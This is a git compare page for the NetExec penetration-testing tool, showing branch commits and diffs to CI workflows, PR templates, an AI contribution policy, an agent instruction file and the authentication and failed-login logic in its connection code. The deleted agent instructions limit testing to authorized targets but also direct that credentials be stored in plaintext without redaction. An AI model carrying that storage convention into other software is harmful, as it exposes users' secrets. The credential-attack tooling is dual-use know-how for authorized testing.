Compare commits

..
Author SHA1 Message Date
Marshall Hallenbeck ebdd223d46 Merge branch 'main' into marshall-get-gpos
Signed-off-by: Marshall Hallenbeck <[email protected]>
2025-09-10 07:48:46 -05:00
Marshall Hallenbeck 2dd2222120 feat(lsaquery): imrpove lookup_sids if only one sid is requested and its well known 2025-08-17 15:47:35 -04:00
Marshall Hallenbeck 4bf228aebe fix(logging): change success to display 2025-08-17 15:47:35 -04:00
Marshall Hallenbeck 1709bc198e fix(gpos): fix options setting & move ACE constants to a new file 2025-08-17 15:47:35 -04:00
Marshall Hallenbeck 0d0a676d6a Merge branch 'main' into marshall-get-gpos
Signed-off-by: Marshall Hallenbeck <[email protected]>
2025-08-17 14:59:31 -04:00
Marshall Hallenbeck fb0fd208bc Merge branch 'main' into marshall-get-gpos 2025-08-16 08:15:42 -04:00
Marshall Hallenbeck 1fb578d784 refactor(gpos): rename get_gpos to gpos and add LIST_PERMISSION functionality; rename default DL directory 2025-08-16 08:15:27 -04:00
Marshall Hallenbeck 4deebd8a85 fix(get_gpos): remove recreating dest dir since it was creating redundant folder structures 2025-08-15 13:33:17 -04:00
Marshall Hallenbeck ae95bc937c chore(ruff): fix various ruff things 2025-08-13 14:26:40 -04:00
Marshall Hallenbeck 7214ccd5f7 fix: remove old variables, clean up exception handling, clean up var setting 2025-08-13 14:26:18 -04:00
Marshall Hallenbeck e6651a003a Merge branch 'main' into marshall-get-gpos 2025-08-13 14:08:46 -04:00
Marshall Hallenbeck 2259dd472c Merge branch 'main' into marshall-get-gpos 2025-08-02 09:22:08 -04:00
Marshall Hallenbeck 80cee9e0ce Merge branch 'main' into marshall-get-gpos
Signed-off-by: Marshall Hallenbeck <[email protected]>
2025-07-30 11:00:52 -04:00
Marshall Hallenbeck 87af3c1db8 chore(ruff): run ruff because I messed up my pre-commit hooks lol 2025-07-30 11:02:12 -04:00
Marshall Hallenbeck 5adc9a40a7 feat(get_gpos): update to only use SMB for now 2025-07-30 10:57:09 -04:00
Marshall Hallenbeck 303fa6ed71 feat(downloading): download empty folders by default and add flag to not 2025-07-25 10:12:01 -04:00
Marshall Hallenbeck 32bfb5dac7 Merge branch 'main' into marshall-get-gpos 2025-06-10 11:00:32 -04:00
Marshall Hallenbeck 3711255f76 Merge branch 'main' into marshall-get-gpos 2025-06-03 09:17:31 -04:00
Marshall Hallenbeck 529440282d fix(get-folder): add debugging statements and fix which was a swapped silent and recursive arg in function call 2025-05-30 12:18:26 -04:00
Marshall Hallenbeck 2dfda5467c fix ruff 2025-05-30 07:33:11 -04:00
Marshall Hallenbeck 7028b421a3 Merge branch 'main' into marshall-get-gpos
Signed-off-by: Marshall Hallenbeck <[email protected]>
2025-05-30 07:10:32 -04:00
Alexander Neff 01d37868f3 Add debug message when file download failed and it wasn't STATUS_SHARING_VIOLATION 2025-03-18 13:55:43 -04:00
Alexander Neff 66c52d2d2f Add success message for folder download 2025-03-18 13:29:07 -04:00
Marshall Hallenbeck 4e9ea50463 Merge branch 'main' into marshall-get-gpos 2025-03-08 11:40:05 -05:00
Marshall Hallenbeck a3cd824070 Merge branch 'main' into marshall-get-gpos 2025-03-08 11:31:21 -05:00
Marshall Hallenbeck bd4264dceb Merge branch 'main' into marshall-get-gpos 2025-02-07 12:02:11 -05:00
Alexander Neff 01185ffe74 Remove duplicate function call 2025-02-06 16:40:56 -05:00
Marshall Hallenbeck 9fef9ed747 catch errors for get-folder 2025-01-17 17:50:55 -05:00
Marshall Hallenbeck 28d8274af0 docs: add add_loot_data 2025-01-17 17:28:32 -05:00
Marshall Hallenbeck c6411379a9 Merge branch 'main' into marshall-get-gpos 2025-01-17 17:05:24 -05:00
Marshall Hallenbeck 3afcbbe6dd Merge branch 'main' into marshall-get-gpos 2025-01-09 15:13:44 -05:00
Marshall Hallenbeck 1c2131bbaf update example module to include new add loot function and fix the name 2024-09-07 19:18:19 -04:00
Marshall Hallenbeck e70955af5b tests: remove options call for get_gpos 2024-09-07 19:07:42 -04:00
Marshall Hallenbeck 89f03edc7c Merge branch 'main' into marshall-get-gpos 2024-09-07 18:26:18 -04:00
Marshall Hallenbeck a0fe15092b Merge branch 'main' into marshall-get-gpos
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-08-30 18:48:27 -04:00
Marshall Hallenbeck 8e1bc7b504 feat: add all updated folder download stuff from #335 since that may not be merged 2024-06-18 11:53:37 -04:00
Marshall Hallenbeck d5883ae796 Merge branch 'main' into marshall-get-gpos
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-06-18 11:05:21 -04:00
Marshall Hallenbeck beb0885945 get_gpos: remove download option as you can only retrieve certain info from LDAP 2024-05-22 05:47:39 -04:00
Marshall Hallenbeck d17460de9e add function to get loot data folder for modules 2024-05-22 05:47:06 -04:00
Marshall Hallenbeck b551d11e40 smb: clean up get-folder code 2024-05-21 20:37:10 -04:00
Marshall Hallenbeck 0d5daf6d95 feat(smb): add feature to download entire folders from target 2024-05-21 20:14:56 -04:00
Marshall Hallenbeck 785169f4fd Merge remote-tracking branch 'refs/remotes/remote/marshall-get-gpos' into marshall-get-gpos 2024-05-21 15:32:29 -04:00
Marshall Hallenbeck 9c952be7a2 feat(get_gpos): add in more options 2024-05-21 15:26:58 -04:00
Marshall Hallenbeck 13bf6eee75 feat(modules): add module helper for logging and loot saving 2024-05-21 15:26:58 -04:00
Marshall Hallenbeck 83a4758755 feat(get-gpos): add new module to get GPOs from LDAP 2024-05-21 15:26:58 -04:00
Marshall Hallenbeck e5151ff352 feat(get_gpos): add in more options 2024-05-16 17:32:33 -04:00
Marshall Hallenbeck 3ec55a6049 feat(modules): add module helper for logging and loot saving 2024-05-16 17:31:58 -04:00
Marshall Hallenbeck 1409fea631 feat(get-gpos): add new module to get GPOs from LDAP 2024-05-16 12:06:16 -04:00
170 changed files with 6271 additions and 14068 deletions

No files matched your search

-8
View File
@@ -1,8 +0,0 @@
blank_issues_enabled: false
contact_links:
- name: NetExec Wiki
url: https://www.netexec.wiki/
about: Check the wiki for usage guides and documentation before opening an issue.
- name: NetExec Discord
url: https://discord.com/invite/pjwUTQzg8R
about: Join the Discord for general questions and community support.
+6 -11
View File
@@ -1,9 +1,8 @@
## Description
Please include a summary of the change and which issue is fixed, or what the enhancement does.
List any dependencies that are required for this change.
If you have used AI in any form, please state the tool you used (e.g. Claude Code, Cursor, Amp) along with the extent that the work was AI-assisted. See the project's AI policy for more details: https://github.com/Pennyw0rth/NetExec/blob/main/AI_POLICY.md
## Type of change
Insert an "x" inside the brackets for relevant items (do not delete options)
@@ -13,28 +12,24 @@ Insert an "x" inside the brackets for relevant items (do not delete options)
- [ ] Deprecation of feature or functionality
- [ ] This change requires a documentation update
- [ ] This requires a third party update (such as Impacket, Dploot, lsassy, etc)
- [ ] This PR was created with the assistance of AI (list what type of assistance, tool(s)/model(s) in the description)
## Setup guide for the review
Please provide guidance on what setup is needed to test the introduced changes, such as your locally running machine Python version & OS, as well as the target(s) you tested against, including software versions.
In particular:
- Bug Fix: Please provide a short description on how to trigger the bug, to make the bug reproducable for the reviewer.
- Added Feature/Enhancement: Please specify what setup is needed in order to test the changes, such as:
- Is additional software needed?
- GPO changes required?
- Specific registry settings that need to be changed?
- Added Feature/Enhancement: Please specify what setup is needed in order to test the changes. E.g. is additional software needed? GPO changes required? Specific registry settings that need to be changed?
## Screenshots (if appropriate):
Screenshots are always nice to have and can give a visual representation of the change.
If appropriate, include before and after screenshot(s) to show which results are to be expected.
If appropriate include before and after screenshot(s) to show which results are to be expected.
## Checklist:
Insert an "x" inside the brackets for completed and relevant items (do not delete options)
- [ ] I have ran Ruff against my changes (poetry: `poetry run ruff check .`, use `--fix` to automatically fix what it can)
- [ ] I have ran Ruff against my changes (via poetry: `poetry run python -m ruff check . --preview`, use `--fix` to automatically fix what it can)
- [ ] I have added or updated the `tests/e2e_commands.txt` file if necessary (new modules or features are _required_ to be added to the e2e tests)
- [ ] New and existing e2e tests pass locally with my changes
- [ ] If reliant on changes of third party dependencies, such as Impacket, dploot, lsassy, etc, I have linked the relevant PRs in those projects
- [ ] I have linked relevant sources that describes the added technique (blog posts, documentation, etc)
- [ ] I have performed a self-review of my own code (_not_ an AI review)
- [ ] I have performed a self-review of my own code
- [ ] I have commented my code, particularly in hard-to-understand areas
- [ ] I have made corresponding changes to the documentation (PR here: https://github.com/Pennyw0rth/NetExec-Wiki)
+3 -3
View File
@@ -9,8 +9,8 @@ jobs:
runs-on: ${{ matrix.os }}
strategy:
matrix:
os: [ubuntu-latest, macOS-latest, macos-26-intel, windows-latest]
python-version: ["3.14"]
os: [ubuntu-latest, macOS-latest, windows-latest]
python-version: ["3.13"]
#python-version: ["3.8", "3.9", "3.10", "3.11"] # for binary builds we only need one version
steps:
- uses: actions/checkout@v4
@@ -27,7 +27,7 @@ jobs:
if: runner.os == 'windows'
uses: actions/upload-artifact@v4
with:
name: nxc-windows.exe
name: nxc.exe
path: dist/nxc.exe
- name: Upload Nix/OSx Binary
if: runner.os != 'windows'
+1 -1
View File
@@ -10,7 +10,7 @@ jobs:
strategy:
matrix:
os: [ubuntu-latest, macOS-latest, windows-latest]
python-version: ["3.10", "3.11", "3.12", "3.13", "3.14"]
python-version: ["3.10", "3.11", "3.12", "3.13"]
steps:
- uses: actions/checkout@v4
- name: NetExec set up python on ${{ matrix.os }}
+14 -10
View File
@@ -14,16 +14,20 @@ jobs:
github.event_name == 'push' || github.event.review.state == 'APPROVED' || github.event_name == 'workflow_dispatch'
steps:
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
- name: Install uv
uses: astral-sh/setup-uv@08807647e7069bb48b6ef5acd8ec9567f424441b # v8.1.0
with:
enable-cache: true
- uses: actions/checkout@v4
- name: Install poetry
run: |
pipx install poetry
- name: Set up Python
run: uv python install 3.14
- name: Install project with dev group
run: uv sync --dev
uses: actions/setup-python@v5
with:
python-version: 3.13
cache: poetry
cache-dependency-path: poetry.lock
- name: Install dependencies with dev group
run: |
poetry install --with dev
- name: Run ruff
run: |
uv run ruff --version
uv run ruff check . --preview
poetry run ruff --version
poetry run ruff check . --preview
-54
View File
@@ -1,54 +0,0 @@
name: PR Template Check
on:
pull_request_target:
types: [opened, edited]
permissions:
pull-requests: write
jobs:
check-template:
runs-on: ubuntu-latest
permissions:
pull-requests: write
steps:
- name: Check PR description for template sections
uses: actions/github-script@v7
with:
script: |
const body = context.payload.pull_request.body || '';
const requiredSections = [
'## Description',
'## Type of change',
'## Setup guide for the review',
'## Checklist'
];
const missingSections = requiredSections.filter(
section => !body.includes(section)
);
if (missingSections.length === 0) return;
// Check if we already left a comment to avoid spamming
const comments = await github.rest.issues.listComments({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: context.payload.pull_request.number
});
const botComment = comments.data.find(
c => c.user.type === 'Bot' && c.body.includes('<!-- pr-template-check -->')
);
if (botComment) return;
const missing = missingSections.map(s => `- ${s}`).join('\n');
await github.rest.issues.createComment({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: context.payload.pull_request.number,
body: `<!-- pr-template-check -->\nIt looks like the PR template may not have been filled out. The following sections appear to be missing:\n\n${missing}\n\nPlease edit your PR description to include them. The template helps reviewers understand and test your changes. Thanks!`
});
+28 -19
View File
@@ -14,26 +14,35 @@ jobs:
max-parallel: 5
matrix:
os: [ubuntu-latest]
python-version: ["3.10", "3.11", "3.12", "3.13", "3.14"]
python-version: ["3.10", "3.11", "3.12", "3.13"]
steps:
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
- name: Install uv
uses: astral-sh/setup-uv@08807647e7069bb48b6ef5acd8ec9567f424441b # v8.1.0
with:
enable-cache: true
- uses: actions/checkout@v4
- name: Install poetry
run: |
pipx install poetry
poetry --version
poetry env info
- name: NetExec set up python ${{ matrix.python-version }} on ${{ matrix.os }}
run: uv python install ${{ matrix.python-version }}
- name: Install project
run: uv sync --python ${{ matrix.python-version }}
uses: actions/setup-python@v5
with:
python-version: ${{ matrix.python-version }}
cache: poetry
cache-dependency-path: poetry.lock
- name: Install with pipx
run: |
pipx install . --python python${{ matrix.python-version }}
- name: Install libraries with dev group
run: |
poetry install --with dev
- name: Load every protocol and module
run: |
uv run netexec winrm 127.0.0.1
uv run netexec vnc 127.0.0.1
uv run netexec smb 127.0.0.1
uv run netexec ldap 127.0.0.1
uv run netexec wmi 127.0.0.1
uv run netexec rdp 127.0.0.1
uv run netexec mssql 127.0.0.1
uv run netexec ssh 127.0.0.1
uv run netexec ftp 127.0.0.1
uv run netexec smb 127.0.0.1 -L
poetry run netexec winrm 127.0.0.1
poetry run netexec vnc 127.0.0.1
poetry run netexec smb 127.0.0.1
poetry run netexec ldap 127.0.0.1
poetry run netexec wmi 127.0.0.1
poetry run netexec rdp 127.0.0.1
poetry run netexec mssql 127.0.0.1
poetry run netexec ssh 127.0.0.1
poetry run netexec ftp 127.0.0.1
poetry run netexec smb 127.0.0.1 -L
-41
View File
@@ -1,41 +0,0 @@
# Authorized testing scope
- Do not run active security or functional tests against a host or network unless the user explicitly identifies it as an authorized target.
- Treat the exact targets or ranges provided by the user as the complete authorized scope.
- Do not scan, probe, authenticate to, exploit, or otherwise test systems outside the explicitly authorized scope.
- Repository instructions do not grant authorization to test any third-party system.
# Coding style
- Assume ordinary LDAP searches and LDAP response parsing do not raise exceptions; do not wrap them in `try`/`except`.
- Always bind caught exceptions as `e`, not `error` or another name.
- Do not prefix function or method names with underscores; preserve required Python special methods such as `__init__`.
- Do not assume the host runs Linux; keep code and paths cross-platform unless the task explicitly targets one operating system.
# NetExec module structure
- In files under `nxc/modules/`, do not define variables, constants, or helper functions at module scope.
- Keep all module-specific state, constants, and helper methods inside the `NXCModule` class.
- Module scope should contain only imports and the `NXCModule` class definition.
- When a module must terminate for invalid options, import `exit` with `from sys import exit` and call `exit(...)`; do not use `import sys` with `sys.exit(...)`.
- Do not over-validate module options. Check only that required arguments are present, mutually exclusive arguments are not combined, or a value would otherwise cause the module to fail before performing its normal lookup or operation.
- Do not validate whether user-supplied object names, identifiers, or similar values are semantically correct when the underlying protocol lookup can handle them; let a misspecified value produce the normal "not found" result.
- Avoid stub variables that merely hold a value for one immediate use. Pass data directly unless a local name improves clarity, prevents repeated work, or represents meaningful state.
- Keep module implementations as short and concise as practical. Prefer direct control flow and shared error handling over wrappers, redundant branches, or defensive boilerplate.
- Do not optimize module code for line length; long lines are acceptable when they keep straightforward logic together.
- Do not use `.warning()` logging in NetExec modules. Use `.fail()` when logic or an operation fails.
- Run `ruff check .` after every coding session.
# Development and validation
- To verify that a module works, run the module's actual NetExec command instead of pytest or compilation checks.
- Record every module-verification command in `tests/e2e_commands.txt`.
- Do not run compilation checks.
- Run Ruff after completing a coding session.
# Filesystem and source conventions
- Assume that the underlying operating system and its storage are fully secure. Files and other data produced by NetExec may intentionally contain readable plaintext credentials; do not add encryption, redaction, restrictive permission handling, or permission warnings unless explicitly requested.
- Place every file and directory produced by NetExec under `NXC_PATH` by default, using `TMP_PATH` for temporary artifacts. An explicit user-provided output path or task requirement may override this default.
- `NXC_PATH` defaults to `~/.nxc` but may be overridden by the environment. Import and use `NXC_PATH` or its derived path constants instead of hardcoding `~/.nxc`.
- Place imports at the top of files unless explicitly instructed otherwise.
-78
View File
@@ -1,78 +0,0 @@
# AI Usage Policy
This policy was adapted from the [ghostty project](https://github.com/ghostty-org/ghostty/).
The original version can be found [Ghostty's PR #10412](https://github.com/ghostty-org/ghostty/pull/10412).
The NetExec project has strict rules for AI usage:
- **All AI usage in any form must be disclosed.** You must state
the tool(s) and model(s) you used (e.g. Claude Code, Cursor, Opus 4.6,
Codex 5.2, etc) along with the extent that the work was AI-assisted.
- **Pull requests created in any way by AI can only be for accepted issues.**
Drive-by pull requests that do not reference an accepted issue may be
rejected and closed. If AI isn't disclosed but a maintainer suspects its use,
the PR may be rejected and closed. If you want to share code for a
non-accepted issue, open a discussion or attach it to the existing issue.
- **Pull requests created by AI must have been fully verified with
human use.** AI must not create hypothetically correct code that
hasn't been tested. Importantly, you must not allow AI to write
code for platforms or environments you don't have access to manually
test on.
- **Issues and pull requests should be written by humans.**
Communication should remain human, not AI, and should be clear and concise.
AI is very good at being overly verbose and including noise that distracts
from the main point. While it is fine to cite AI or include AI-generated
content, the main content of your issue or pull request should be written
by a human. Issues or pull requests that look like they are just the
result of an AI prompt will likely be rejected and closed.
- **No AI-generated media is allowed (art, images, videos, audio, etc.).**
Text and code are the only acceptable AI-generated content, per the
other rules in this policy.
- **Bad AI drivers will be banned** You've been warned. We love to help junior
developers learn and grow, but if you're interested in that then don't use
AI, and we'll help you.
- **Official maintainers have the final say** We always strive to be helpful,
but there are limits. If you submit agregiously terrible AI generated code
with no review, we may ban you without word. We do not want to waste our
time reviewing slop if the contributor can't be bothered to review the work
themselves.
These rules apply only to outside contributions to NetExec. Maintainers
and trusted contributors are exempt from these rules and may use AI tools at
their discretion; they've proven themselves trustworthy to apply good judgment.
## There are Humans Here
Please remember that NetExec is maintained by humans.
Every discussion, issue, and pull request is read and reviewed by
humans (and sometimes machines, too). It is a boundary point at which
people interact with each other and the work done. It is rude and
disrespectful to approach this boundary with low-effort, unqualified
work, since it puts the burden of validation on the maintainers.
In a perfect world, AI would produce high-quality, accurate work
every time, but today that is simply not true. This is compounded by the fact
that accessibility to AI is high, allowing low skilled individuals to think
that they are contributing useful code. Even many skilled programmers do not
understand how to use it effectively. This has opened up a waterfall of low
quality contributions across the Open Source community, wasting resources.
## AI is Welcome Here, Within Reason
NetExec maintainers acknowledge AI as a productive tool to some workflows, and
are open to leveraging this technology to improve NetExec; however, there are
many low quality AI tools whose use results in pure slop being generated. The
security communinity is not immune from AI psychosis, over-hype, or FOMO.
As with any new technology, it is important to understand how it works and how
to best use it, not blindly apply it to every use case with the hope that it
will fix all your issues.
We include this section to be transparent about the project's usage about
AI for people who may disagree with it.
-1
View File
@@ -65,4 +65,3 @@ Awesome code contributors of NetExec:
[![](https://github.com/XiaoliChan.png?size=50)](https://github.com/XiaoliChan)
[![](https://github.com/termanix.png?size=50)](https://github.com/termanix)
[![](https://github.com/Dfte.png?size=50)](https://github.com/Dfte)
[![](https://github.com/azoxlpf.png?size=50)](https://github.com/azoxlpf)
+1 -7
View File
@@ -19,10 +19,6 @@ a = Analysis(
'aardwolf.commons.iosettings',
'aardwolf.commons.target',
'aardwolf.protocol.x224.constants',
'certihound',
'certipy.commands.find',
'certipy.lib.formatting',
'certipy.lib.target',
'impacket.examples.secretsdump',
'impacket.examples.regsecrets',
'impacket.dcerpc.v5.lsat',
@@ -50,9 +46,8 @@ a = Analysis(
'nxc.helpers.bloodhound',
'nxc.helpers.even6_parser',
'nxc.helpers.msada_guids',
'nxc.helpers.negotiate_parser',
'nxc.helpers.ntlm_parser',
'paramiko',
'pefile',
'pypsrp.client',
'pylnk3',
'pypykatz',
@@ -81,7 +76,6 @@ a = Analysis(
'dploot.triage.wam',
'dploot.triage.wifi',
'dploot.triage.sccm',
'dploot.triage.cng',
'dploot.lib.target',
'dploot.lib.smb',
'pyasn1_modules.rfc5652',
+10 -13
View File
@@ -24,24 +24,21 @@ def gen_cli_args():
VERSION = importlib.metadata.version("netexec")
COMMIT = ""
DISTANCE = ""
CODENAME = "Yippie-Ki-Yay"
CODENAME = "SmoothOperator"
generic_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
generic_group = generic_parser.add_argument_group("Generic Options")
generic_group = generic_parser.add_argument_group("Generic", "Generic options for nxc across protocols")
generic_group.add_argument("--version", action="store_true", help="Display nxc version")
generic_group.add_argument("-t", "--threads", type=int, dest="threads", default=256, help="set how many concurrent threads to use")
generic_group.add_argument("--timeout", default=None, type=int, help="[DEPRECATED] no longer used, replaced by per-protocol timeouts (--smb-timeout, --ldap-timeout, --dcom-timeout)")
generic_group.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread")
generic_group.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each authentication")
generic_group.add_argument("--exclude-hosts", nargs="+", default=None, metavar="HOST", help="Exclude one or more hosts, IPs, CIDRs or hostnames from the scan")
generic_group.add_argument("--skip-self", action="store_true", help="Exclude the local machine from the scan")
output_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
output_group = output_parser.add_argument_group("Output Options")
output_group = output_parser.add_argument_group("Output", "Options to set verbosity levels and control output")
output_group.add_argument("--verbose", action="store_true", help="enable verbose output")
output_group.add_argument("--debug", action="store_true", help="enable debug level information")
output_group.add_argument("--no-progress", action="store_true", help="do not displaying progress bar during scan")
output_group.add_argument("--log", metavar="LOG", help="export result into a custom file")
log_level = output_group.add_mutually_exclusive_group()
log_level.add_argument("--verbose", action="store_true", help="enable verbose output")
log_level.add_argument("--debug", action="store_true", help="enable debug level information")
dns_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
dns_group = dns_parser.add_argument_group("DNS")
@@ -76,7 +73,7 @@ def gen_cli_args():
# we do module arg parsing here so we can reference the module_list attribute below
module_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
mgroup = module_parser.add_argument_group("Modules")
mgroup = module_parser.add_argument_group("Modules", "Options for nxc modules")
mgroup.add_argument("-M", "--module", choices=get_module_names(), action="append", metavar="MODULE", help="module to use")
mgroup.add_argument("-o", metavar="MODULE_OPTION", nargs="+", default=[], dest="module_options", help="module options")
mgroup.add_argument("-L", "--list-modules", nargs="?", type=str, const="", help="list available modules")
@@ -86,7 +83,7 @@ def gen_cli_args():
std_parser = argparse.ArgumentParser(add_help=False, parents=[generic_parser, output_parser, dns_parser], formatter_class=DisplayDefaultsNotNone)
std_parser.add_argument("target", nargs="+" if not (module_parser.parse_known_args()[0].list_modules is not None or module_parser.parse_known_args()[0].show_module_options or generic_parser.parse_known_args()[0].version) else "*", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
credential_group = std_parser.add_argument_group("Authentication")
credential_group = std_parser.add_argument_group("Authentication", "Options for authenticating")
credential_group.add_argument("-u", "--username", metavar="USERNAME", dest="username", nargs="+", default=[], help="username(s) or file(s) containing usernames")
credential_group.add_argument("-p", "--password", metavar="PASSWORD", dest="password", nargs="+", default=[], help="password(s) or file(s) containing passwords")
credential_group.add_argument("-id", metavar="CRED_ID", nargs="+", default=[], type=str, dest="cred_id", help="database credential ID(s) to use for authentication")
@@ -97,13 +94,13 @@ def gen_cli_args():
credential_group.add_argument("--ufail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per username")
credential_group.add_argument("--fail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per host")
kerberos_group = std_parser.add_argument_group("Kerberos Authentication")
kerberos_group = std_parser.add_argument_group("Kerberos", "Options for Kerberos authentication")
kerberos_group.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication")
kerberos_group.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
kerberos_group.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)")
kerberos_group.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
certificate_group = std_parser.add_argument_group("Certificate Authentication")
certificate_group = std_parser.add_argument_group("Certificate", "Options for certificate authentication")
certificate_group.add_argument("--pfx-cert", metavar="PFXCERT", help="Use certificate authentication from pfx file .pfx")
certificate_group.add_argument("--pfx-base64", metavar="PFXB64", help="Use certificate authentication from pfx file encoded in base64")
certificate_group.add_argument("--pfx-pass", metavar="PFXPASS", help="Password of the pfx certificate")
-7
View File
@@ -38,13 +38,6 @@ reveal_chars_of_pwd = int(nxc_config.get("nxc", "reveal_chars_of_pwd", fallback=
config_log = nxc_config.getboolean("nxc", "log_mode", fallback=False)
host_info_colors = literal_eval(nxc_config.get("nxc", "host_info_colors", fallback=["green", "red", "yellow", "cyan"]))
check_guest_account = nxc_config.getboolean("nxc", "check_guest_account", fallback=False)
display_dc = nxc_config.getboolean("nxc", "display_dc", fallback=True)
skip_self = nxc_config.getboolean("nxc", "skip_self", fallback=False)
exclude_hosts = literal_eval(nxc_config.get("nxc", "exclude_hosts", fallback=[]))
if not isinstance(exclude_hosts, list):
nxc_logger.error(f"exclude_hosts must be a 'list', got '{type(exclude_hosts).__name__}'. Exiting.")
exit(1)
if len(host_info_colors) != 4:
nxc_logger.error("Config option host_info_colors must have 4 values! Using default values.")
+31 -49
View File
@@ -5,7 +5,7 @@ import sys
import contextlib
from os.path import isfile
from threading import BoundedSemaphore, Lock
from threading import BoundedSemaphore
from functools import wraps
from time import sleep
from ipaddress import ip_address
@@ -14,7 +14,7 @@ from socket import AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME, getaddrinfo
from nxc.config import pwned_label
from nxc.helpers.logger import highlight
from nxc.loaders.moduleloader import ModuleLoader, ModuleOptionsError
from nxc.loaders.moduleloader import ModuleLoader
from nxc.logger import nxc_logger, NXCAdapter
from nxc.context import Context
from nxc.paths import NXC_PATH
@@ -22,10 +22,8 @@ from nxc.protocols.ldap.laps import laps_search
from nxc.helpers.pfx import pfx_auth
from impacket.dcerpc.v5 import transport
from impacket.krb5.ccache import CCache
sem = BoundedSemaphore(1)
fail_lock = Lock()
global_failed_logins = 0
user_failed_logins = {}
@@ -137,9 +135,6 @@ class connection:
self.db = db
self.logger = nxc_logger
self.conn = None
self.output_file_template = None
self.output_filename = None
self.protocol = args.protocol
# Authentication info
self.password = ""
@@ -148,7 +143,6 @@ class connection:
self.args.use_kcache or
self.args.aesKey or
(hasattr(self.args, "delegate") and self.args.delegate) or
(hasattr(self.args, "generate_st") and self.args.generate_st) or
(hasattr(self.args, "no_preauth_targets") and self.args.no_preauth_targets))
self.aesKey = None if not self.args.aesKey else self.args.aesKey[0]
self.use_kcache = None if not self.args.use_kcache else self.args.use_kcache
@@ -165,6 +159,11 @@ class connection:
self.local_ip = None
self.dns_server = self.args.dns_server
# Construct the output file template using os.path.join for OS compatibility
base_log_dir = os.path.join(os.path.expanduser(NXC_PATH), "logs")
filename_pattern = f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
self.output_file_template = os.path.join(base_log_dir, "{output_folder}", filename_pattern)
# DNS resolution
dns_result = self.resolver(target)
if dns_result:
@@ -175,14 +174,10 @@ class connection:
if self.kerberos:
self.host = self.hostname
self.logger.debug(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
try:
self.proto_flow()
except FileNotFoundError as e:
self.logger.error(f"File not found error on target {target}: {e}")
except ConnectionRefusedError as e:
self.logger.error(f"Target {target} refused the connection: {e}")
except Exception as e:
if "ERROR_DEPENDENT_SERVICES_RUNNING" in str(e):
self.logger.error(f"Exception while calling proto_flow() on target {target}: {e}")
@@ -244,26 +239,19 @@ class connection:
self.logger.debug("Kicking off proto_flow")
self.proto_logger()
if not self.create_conn_obj():
self.logger.debug(f"Failed to create connection object for target {self.host}, exiting...")
self.logger.info(f"Failed to create connection object for target {self.host}, exiting...")
else:
self.logger.info(f"Successfully created connection object for target '{self.host}'")
self.logger.debug("Created connection object")
self.enum_host_info()
# Construct the output file template using os.path.join for OS compatibility
base_log_dir = os.path.join(NXC_PATH, "logs")
filename_pattern = f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
self.output_file_template = os.path.join(base_log_dir, "{output_folder}", filename_pattern)
# Default output filename for logs
self.output_filename = os.path.join(base_log_dir, filename_pattern)
self.print_host_info()
if self.login() or (self.username == "" and self.password == "" and self.protocol != "mssql"):
self.logger.debug("Calling command arguments")
self.call_cmd_args()
if self.args.module:
if self.login() or (self.username == "" and self.password == ""):
if hasattr(self.args, "module") and self.args.module:
self.load_modules()
self.logger.debug("Calling modules")
self.call_modules()
else:
self.logger.debug("Calling command arguments")
self.call_cmd_args()
self.disconnect()
def call_cmd_args(self):
@@ -319,28 +307,26 @@ class connection:
def inc_failed_login(self, username):
global global_failed_logins, user_failed_logins
with fail_lock:
if username not in user_failed_logins:
user_failed_logins[username] = 0
if username not in user_failed_logins:
user_failed_logins[username] = 0
user_failed_logins[username] += 1
global_failed_logins += 1
self.failed_logins += 1
user_failed_logins[username] += 1
global_failed_logins += 1
self.failed_logins += 1
def over_fail_limit(self, username):
global global_failed_logins, user_failed_logins
with fail_lock:
if global_failed_logins == self.args.gfail_limit:
return True
if global_failed_logins == self.args.gfail_limit:
return True
if self.failed_logins == self.args.fail_limit:
return True
if self.failed_logins == self.args.fail_limit:
return True
if username in user_failed_logins and self.args.ufail_limit == user_failed_logins[username]: # ruff: ignore[needless-bool]
return True
if username in user_failed_logins and self.args.ufail_limit == user_failed_logins[username]: # noqa: SIM103
return True
return False
return False
def query_db_creds(self):
"""Queries the database for credentials to be used for authentication.
@@ -487,6 +473,8 @@ class connection:
- NTLM-hash (/kerberos)
- AES-key
"""
if self.over_fail_limit(username):
return False
if self.args.continue_on_success and owned:
return False
@@ -502,8 +490,6 @@ class connection:
sleep(value)
with sem:
if self.over_fail_limit(username):
return False
if cred_type == "plaintext":
if self.kerberos:
self.logger.debug("Trying to authenticate using Kerberos")
@@ -559,7 +545,7 @@ class connection:
if self.args.use_kcache:
